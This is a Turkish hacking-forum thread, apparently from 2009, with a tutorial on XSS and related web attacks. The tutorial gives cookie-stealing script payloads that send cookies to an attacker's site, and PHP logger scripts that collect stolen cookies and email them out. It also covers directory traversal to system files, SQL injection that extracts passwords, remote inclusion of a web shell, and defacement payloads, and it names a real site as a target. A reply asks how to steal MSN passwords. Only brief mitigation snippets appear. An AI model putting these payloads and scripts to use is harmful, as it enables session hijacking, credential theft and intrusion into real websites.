İPUCU

Web & Server Güvenliği Doğru web ve veritabanı sunucusu güvenliği sağlanmadan, bilgisayar korsanları hassas verilerinize erişebilir. Web, Sunucu ve veritabanı güvenliğini nasıl sağlayacağınızı buradan öğrenebilirsiniz.

Seçenekler

XSS nedir Nasıl yapılır içeri

05-06-2009 10:22
#1
atlas_tr - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
01/2008
Nereden:
NErDe OLsam BEğeNİRsin
Mesajlar:
2.383
Teşekkür (Etti):
19
Teşekkür (Aldı):
189
Konular:
389
Ticaret:
(0) %
XSS nedir ?
xss sistemlerdeki script açıklarıdır...
Arama Modullerinde , Profil Panellerinde haber modullerinde shutbox vs.. bulunur.. Bu modullere ufak scriptler ekleyerek sitenin yönlenmesini ya da hata vermesini sağlarız..

örn :

http://localhost/hedefdeneme/index.p...al[dot]com

http://localhost/asp-hedef/newcat.as...al[dot]com

devam edelim...

Xss Hangi Sistemler Kullanılır..

Xss Genellikle Php-Nuke ya da Php ile yapılmış sistemlere kullanılır. Ama Asp'de kullanılmaz anlamına gelmez. Asp için daha çok SQL İnjection dediğimiz tablo isimlerine yapılan illegal girişimlerdir..

Biraz daha örnekleyerek anlatalım..

Asp , Php farketmez :
">nedirbu<"font%20size=20>OwNz b7 ********%20:P</font>

basit bir arama scriptinde kullanılıcak açık..

Yukardaki Xss yi biraz daha açalım .(php)

( $_POST / $_SESSION , $_GET ) Php de arama yaparken verdiğimiz komut budur..

Session'da $username adlı bir değişken var diyelim.Sayfada echo'landığı $_SESSION['variable'] şeklinde ekrana basılmadığı zaman url üzerinde sayfa.php?username=XSS girdiğimizde oturumdaki kullanıcıyı değil adres satırından gelen variable'ı ekrana basacaktır.

ama xss den verimli sonuç alabilmek için scrtiptin içinde java script çalıştırmak gerekir...

Güvenlik İçin :

strip_tags() ya da htmlspecialchars komutlarıyla bu açığı kapatabiliriz.
Java Scripti Neden Çalıştırırız?
Cookie Almak için Biraz Script Yazalım.
Altaki Mini Scriptler Vasıtasıyla Cookie Almamızı ve Siteye Admin Yetkisinden Ulaşmamızı Sağlar.

********>********.********='http://www.sizinsiteniz.com/xss/?'+escape(********.cookie)</script>

********>alert('wvs-xss-magic-string-${random}');</script>

'>********>alert('wvs-xss-magic-string-${random}');</script>

">********>alert('wvs-xss-magic-string-${random}');</script>

>********>alert('wvs-xss-magic-string-${random}');</script>

</textarea>********>alert('wvs-xss-magic-string-${random}');</script>

********>var%20wvs_xss_test_variable=${random};ale r t(wvs_xss_test_variable);</script>

>********>var%20wvs_xss_test_variable=${random}; al e rt(wvs_xss_test_variable);</script>

</textarea>var%20wvs_xss_test_variable=${random};ale rt(wvs_xss_test_variable);</script>

-->********>alert('wvs-xss-magic-string-${random}');</script>
Cookie Almak İçin
<?php
$kayit = fopen("ekledik.txt","a");
foreach($_GET as $variable => $value) {
fwrite($kayit,$variable . ": " . $value . "\n");
}
fwrite($kayit,"---------------------------\n");
fclose($kayit);
mail("mailadresiniz@mail.com","Şifre Geldi çip çip ","http://www.site.com/ekledik.txt",'From: Taze_Kek@geldi.com');
?>

chmod ayarını 777 yapmak lazım yoksa gelen cookie kaydetmez
Örnek
:2082/login?user=**********>********.href='http://www.siteniz.com/kekle.php?c='escape(********. cookie)</script>

/users.php?f=1&s=1'********>********.********='http ://www.sizinsiteniz.com/xss/?'+escape(********.cookie)</script>&w=asc&d=50

comments.php?id=1"********>********.********='http ://www.sizinsiteniz.com/xss/?'+escape(********.cookie)</script>

/modules.php?f=1&s=1'%3CXML SRC="javascript:alert('hacked by oturgaçlı ***üreç');"%3E

:2082/login?user=**********>********.href='http://www.siteniz.com/kekle.php?c='escape(********. cookie)</script>
* CRLF injection
Bu Metod Biraz Daha Farklıdır Ve Alternatifi yoktur.
Sabit Bir script ile cookie alınabilir.

some_url%0d%0aSet-Cookie%3Athis_header%3Dwas_injected_by_wvs
* Directory Attack!
Basic : ../../../../../../../../etc/passwd

null : ../../../../../../../../etc/passwd%00

Byte : %00../../../../../../../../etc/passwd
* Script source code disclosure
Bu Açığı Biraz İnceleyilim ;]

e-ogrenci : (%61%73%70:asp demek)

Şimdi Sistemdeki Arka Kapıyı Biraz Yoklayılım

http://www.e-ogrenci.org/msadc/Sampl.../msadc/Samples

http://www.e-ogrenci.org/online/getn...m=../../../../ WINNT/win.ini

eğer server ../ ları okumazsa

%2e%2e/ ile bu method aşılabilir.

Örnek :
http://www.e-ogrenci.org/online/getn.../WINNT/win.ini

gibi...
http://www.e-ogrenci.org/scripts/..%...innt/system32/ cmd.exe?/c+dir+c:\
En Bastinden

Kafamızda Şöyle Bir Sistem kuralım

Bir Üye Girişi Olsun
Birde Şifre Yazıcağımız Alan

Kullanıcı Adı :
Şifreniz :

Her ne kadar masum gibi gözüksede

input değerlerine value="check" ufak bir injectionla Cookie ya da Admin pass almak mümkün!

Farzedelim değerin atanışı

value=request.cookies("cookiename")

sadece şifre yerine "=" yazılacak komut ile cookie sistemden çekilebilir.

(0x80004005)
Unespecified error
/file.inc, line 2

şunuda unutmayın explorer , asp , php gibi dosyaları yorumlayabilir ama inc dosyalarını yorumlamaz!

kısaca şöyle bir varyasyon oluşabilir

e-ogrenci :

birazda şanısınız varsa burdan db yolunu görüp sitenin databasesini (mdb,sql artık neyse) siteden çekip admin passıyla giriş yapabilirsiniz.


olayın İnceliklerine Girelim

Siteleri Kodlarken Front Page ya da Macromedia Dreamweaver Gibi Programlar Kullanırız.

* Açık List

/_mmServerScripts/MMHTTPDB.php

/_mmServerScripts/MMHTTPDB.asp

/_mmDBScripts/MMHTTPDB.php

/_mmDBScripts/MMHTTPDB.asp
yada biraz daha bilindik açıkları ele alalım ...

sifredegistir.asp?sifrem=şifre&newpwd=şifreyeni&ui d=123323453'+or+uid+like'%admin%';--%00

Haber_detay.asp?size=0'+union+select+'1','1 ','1',concat(uname||'-'||passwd)+as+i_name+'1'+'1'+ from+usertable+where+uname+like+'25

<FORM METHOD=POST ACTION="http://www.siteadresi.com/anket.asp?oyla=1" TARGET="so****rget" DEBUG=”666”>
<INPUT TYPE=HIDDEN NAME="Poll" VALUE="1">

şeklinde yapılacak Girdiler Anketlerde ya da Haber Yönetiminde Bir Girdi Kontrolu Yapılmıyosa Siteye Haber Elemeye Kadar gider...

kısaca XSS ya da Cros Site Script (CSS) Wep Programcısından Doğan Scirpt Açıklarıdır Diyebiliriz..

Bakınız :

LDU'nun Shubox Plugini Olan Sitelerde Html Tag'ları Çalıştırılıyordu Ve Sistem istediğimiz Bi Sayfaya Yönlendirilebiliyodu.

neocrome.net
Security advisory : Shoutbox plugin

bu açığı yaklaşık 2 hafta önce Memox İle Birlikte Güvenlik Testleri Yaparken Tarafımdan Bulunmuştu
Bunu Yanı Sıra Haber , Döküman ya da benzeri yazıların yazıldığı yerlerdede XSS vardı
neocrome ye mail attık bakalım bunun için bi eklenti çıkıcakmı

bu demek oluyoki yaptığımız Siteleri ya da scriptlerin güvenlik Önlemlerini iyi almak gerekir..
yoksa bir sabah uyandığınızda Hacked by Oturgaçlı ***üreç Yazısını Anasayfada Görmek İçten Bile değil

GuestBook , Ziyaretçi Defteri Ownz....

Bu tamamiyle XSS İçine Girmez türkiye ve diğer ülkerlde yaygın bi sistem, üyeler gelsin yazı yazsın diye yapmışlar fakat mesaj yazılan Yerlerde html tagları ya da js (java script) kullanılabiliyor..
****** **********="*******" *********"1;URL=http://www.xxx.com/">
ya da kullandığınız index olabilir yazıldığında ziyaretçi defteri egale edilebilir...



XSS açıkları e-mail sitelerinde en çok rastlanılan güvenlik açığıdır. Çünkü bir çok web uygulamasında rastlanılır ve ücretsiz açık tarama programları ile çok rahat bulunabilir. Web uygulamasının kullanıcıdan aldığı girdiler, her zaman kontrolden geçirilmelidir. Bu aynı zamanda "Sql injection", "Buffer Overflow" gibi saldırıları da engelleyecektir


/../../../../../inetpub/wwwroot/default.asp Kod:
********>alert(********.cookie);</script>
********>********.********='http://www.sizinsiteniz.com/xss/?'+escape(********.cookie)</script>
********>alert('wvs-xss-magic-string-${random}');</script>
'>********>alert('wvs-xss-magic-string-${random}');</script>
">********>alert('wvs-xss-magic-string-${random}');</script>
>********>alert('wvs-xss-magic-string-${random}');</script>
</textarea>********>alert('wvs-xss-magic-string-${random}'); </script>
********>var%20wvs_xss_test_variable=${random};ale rt(wvs_xss_test_variable);</script>
>********>var%20wvs_xss_test_variable=${random}; al ert(wvs_xss_test_variable);</script>

mesela yukarıdaki kodlamalar gibi


-------------------------------------*******----------------------------


Asp yada Php'de < , > ' gibi betiklerin belirli fonksiyonlarla form'a gönderirken
temiz bir şekilde gönderilir.
< %3C
> %3E
' boş bırakılır genelde ama karekteri %27'dir
Biz Ziyaretçi Defteri Üzerinde Açık Aradığımızı Farz Edelim..
Bu Ziyaretçi Defteri Onay yoluyla mesajları yayınladığını farz edelim..
ilk Olarak Sitenin Kaynak Kodlarına Bakmak daha mantıklı olucaktır ,
Sağ Tuş > Kaynağı Görüntüle [bi tık]
bizim işimiz <form> ve </form> arasında
ilk önce kodları biraz inceledikten sonra
<input type="hidden" name="onay" value="Hayır">
Onaysız Olarak Gidiyor...
biz bu kaynak kodlarını text dosyasına kayıt edip
form.htm olark kayıt edelim ve burdaki value="Hayır"'ı Evet Olarak Değiştirelim
yani tam olarak şu şekilde oluyor.
<input type="hidden" name="onay" value="Evet">
bu Mesajımızın Onaylanmadan Geçmesini sağlıyoruz
he şimdi herzaman evet , hayır olarakmı olur ? hayır
<input type="hidden" name="onay" value="Hayır"> yerine
<input type="hidden" name="onay" value="0">
0 = onaysız
1= onaylanmış
<input type="hidden" name="onay" value="1"> mesaj yayında
* Engellemek İçin.
Form'u gönderdiğiniz sayafda gelen verinin hayır ya da 0 olup olmadığını kontrol edin
onuda şu şekilde yapabiliriz.
<%
If yorum_onay = Evet Then
Response.Redirect "hata.asp"
else
end If
%>
yukardaki kod'da eğer gelen veri Evet ise hata.asp sayfamıza yönlendiyoruz
Eğer Daha Bariz Açıklar Varsa
Bizi Pek zorlucak gibi gözükmeyen bir sayfa'da takılıyorsunuz demektir
<,>,' gibi karekterlerin filtrelenmemesi sayfanın yönlendirme işleminin pek zor olmayacağına delalettir
ilk olarak Defter'de yada ziyaretçilerin mesaj'laşabildiği bir modul'de denenecek olan kelimeleri şu şekilde sıralayabiliriz
********>alert('rawk****l')</script>
<image src=rawk****l.png onload=alert('rawk****l')>
<span style=top:expression(alert('rawk****l'))></span>
< > karekterleriin fonksiyondan geçerken temizlendiği verileri ele alalım..
%3Cscript>alert('rawk****l')%3E/script>
&#x3C;script>alert('rawk****l')&#x3E;/script>
&#60script>alert('rawk****l')&#62/script>
gibi bir çok şekilde değiştirebilir..
Bazen Xss'nin Yetersiz Kaldığı yerlerde Sql İnjection devreye girer o diğer dökümanda =)
Sayfayı Yönlendirebilmek için genel sayfa yüklenmeden önce html nin tarayıca'ya yükleceği kod
bu aşağıdakidir..
********>********="http://google.com"</script>
Şimdi <body Onload="bizimsite.com"> gibi bir deyim'i en son tarayıcıya yüklücektir.
bazı Hazır Scriptler
<, >,' yerine Sadece Script,script,sCript gibi sadece kelimleri formatlayarak ekrana yazdırır
böyle bir durumda ********>********="http://google.com"</script> kodumuzu pek işe yarıcak gibi gözükmüyor dimi =)
böyle bir durumda ****'tagını kullanmak daha mantıklı olucaktır...
****** **********="*******" *********"1;URL=http://google.com"> şeklinde yazdırmak daha mantıklı olucaktır.
* Engellemek İçin.
Gelen Verilerin Kontrol Edilmesi Şarttır.
* Asp
Bir Fonksiyon Yazalım Bu Fonksiyonla Gelen Verileri Kontrol Edelim
<%
Function SecureEdit (rawk****l)
rawk****l = Replace(rawk****l, "<", "&lt;")
rawk****l = Replace(rawk****l, ">", "&gt;")
rawk****l = Replace(rawk****l, "'", "`")
SecureEdit = rawk****l
End Function
%>
* Php
<?php
function xss_clean($var) {
static $find, $replace;
if(empty($find)) {
$find = array('"', '<', '>');
$replace = array('&quot;', '&lt;', '&gt;');
}
$var = preg_replace('/javascript/i', 'java script', $var);
return str_replace($find, $replace, $var);
}
?>
Şimdi Böyle Sadece Kod Yazmakla Olmaz Biraz Açıklayalım ne anlama geldiğini dimi =)
rawk****l = Replace(rawk****l, "<", "&lt;")
yazısından'da gördüğünüz gibi
gelen karekter
< ekrana yazdırılırken &lt; şekli alıyor...
&lt; karekteri zararsız'dır < ile aynı işlemi görmez
yani normal bi html sayfası yazarken
&lt;html>
&lt;head>
&lt;title>Created by rawk****l&lt;/title>
şeklinde yazdıramazsınız zaten denerseniz
ekrana
<html> <head> <title>Created by rawk****l</title> şeklinde yazıcaktır Bunu Herhangi bir tarayıcı yorumlamaz
* Sql & Url Attack...
Diğer Bir Yöntem İse Url'de Saptırmalar Yaratık Kullanıcıyı İstediğimiz Yere Göndermek gibi.
bunun için JavaScriptle biraz haşır neşir olmak gerekiyor...
http://hedefsite.com/detay.asp?id=1022 gibi bir URL'ye uygulanabilicek saldırı Türü
Basit Sql Sözcüklerinin Denemesi ile olabilir...
http://hedefsite.com/detay.asp?id='
http://hedefsite.com/detay.asp?id='=1
http://hedefsite.com/detay.asp?id=********>********="http://google.com"</script>
gibi betikler'le olabilir
php'de ise biraz değişiktir
Remote File İnjection Dediğimiz Başka siteden kod çalıştırmak la olur..
yazımızda ondanda bahsedicem..
Devam Edelim...
Arama Modullerinde ' (tek tırnak) yada "><font%20size=20>by Rawk****l</font> şeklinde aramalar yapıp bunları
Zone-h'ye kayıt etme çok saçmadır
bu modullden faydalanabilmemiz için Arama Modulünde ' (tek tırnak) yada açılan HTML tagını yorumlaması durumunda
Arama Modulunde Sql Cümleleri Kullanabilmemiz Pek'te zor Değildir =)
"Select * From Tabloismi Order by İd Desc;" <== Sql Sözcüğümüz TabloAdındaki Verileri Ekrana Bas Anlamına gelir
"Select * Form Admin Order by id Decs;" ile Admin Tablosunu Ekrana Yazdırılabilir...
Kısaca Özetledik...
* Remote File
Genellikle .php Uzantılı Siteler Üzerinde Shell Çalıştırma Olanağımız Vardır. buda tabbiki site'yi yapan arkadaş sayesinde olur.
http://hedefadres.com/index.php?sayfa=BizKimiz
gibi Zararsız Gözüken bir URL'yi Biraz Değiştirelim...
http://hedefadres.com/index.php?sayf...ss/remview.php
Biraz Açıklayalım.. Sadece Yazmakla Olmaz!
http://hedefadres.com/index.php?sayfa= Bizim Gideceğimiz Adresi Gösterir
bunu sayfa içerisinde include ederek yapılabilir.
bizKimiz.php sayfası index.php ye include edilir ve şu şekilde bir Url Çıkar

http://hedefadres.com/index.php?sayfa=BizKimiz
Tabbiki Bunu Yapmak için sadece include kullanmaya gerek yok
Sub'larla yada Case İfadeleriylde böyle bir Url var edilebilir neyse...
Şimdi Olayı Biraz Daha açarak Yazalım...
http://hedefadres.com/index.php?sayf...ss/remview.php
adresi ekrana yazdırıldığı zaman
bizim sitemizdeki Remview.php dosyası hedef site üzerinde çalıştırılır
ortaya şöyle bir görüntü çıkar..
admin
modules
sayfa
Uyelik
index.php
gibi bu konumda Perm'ler izin verdiği sürece saldırıya devam edilebilir..
http://hedefadres.com/index.php?sayfa=phpinfo gibi değişik düzeneklerde kullanılabilir.
Php'de Karekterler Farklı Şekilde yorumlandığı İçin
Olay sadece URL'de bitmiyor...
Siteyi Ziyaret Eden Şahıslar için mesaj tablosu , Chat , vs... Gibi panolarda kullanılabilicek olanaklar varsa
\x3cimg src="http\x3a//bizimsite.com/test.jpg" name="imaga"\x3e
Şeklinde İmaj tag'ları gibi
bu tarz bi açık'ta Resim görünüyorsa Cookie Çalmak İçten Bile Değil...
Cookie Çoğu Zaman Bizim Anahtar Bağlantı Noktamızdır..
Hazır Scriptlerde büyük olanak sağlar fakat 0'dan yazılmış Scriptler Cookie Bağlantı Noktamızıdır
Çünkü Hazır Scriptleri Localhost'tan Admin Cookie'si vs.. görüntülünebilir
fakat diğer türlü olursa pek'te iç açıcı değil gibi gözüküyor =)
Cookie Çalmak İçin Php Code :
<?php
$cookie = $_GET['koki'];
$aypi = getenv ('REMOTE_ADDR');
$zaman=date("j F, Y, g:i a");
$link=getenv ('HTTP_REFERER');
$fp = fopen('log.htm', 'a');
fwrite($fp, '<tr><td>Cookie: '.$koki.'</td></tr><tr><td> IP: ' .$aypi. '</td></tr><tr><td>Tarih ve Saat ' .$zaman. '</td></tr><tr><td>Geldiği link: '.$link.'</td></tr>');
fclose($fp);
?>
* Korunma Yöntemi
URL'den Gelen Veriyi Kontorl Edin...
-----------------------------------------------------------
Kullanıcı İmzası
turckhess Teşekkür etti.

12-11-2009 16:08
#2
turckhess - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
11/2009
Mesajlar:
1
Teşekkür (Etti):
1
Teşekkür (Aldı):
0
Konular:
0
Ticaret:
(0) %
ya allah ya bismillah şimdi XSS neyle nasıl hazırlanır ben bilmiyorum html asyfası olarakmı yapacaz yoksa internet sitemizin olmasımı laızm bunun için bi link kurup yollasak tıklatsak msn şifresi gelmezmi yada buna uyarlanan cookies varmı varsa nasıl yapa bilirim...!

konuya cevap geldiğinde mail olarka atarsanız sevinirim.
şimdiden teşekkürler
Konu turckhess tarafından (12-11-2009 16:10 Saat 16:10 ) değiştirilmiştir.

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı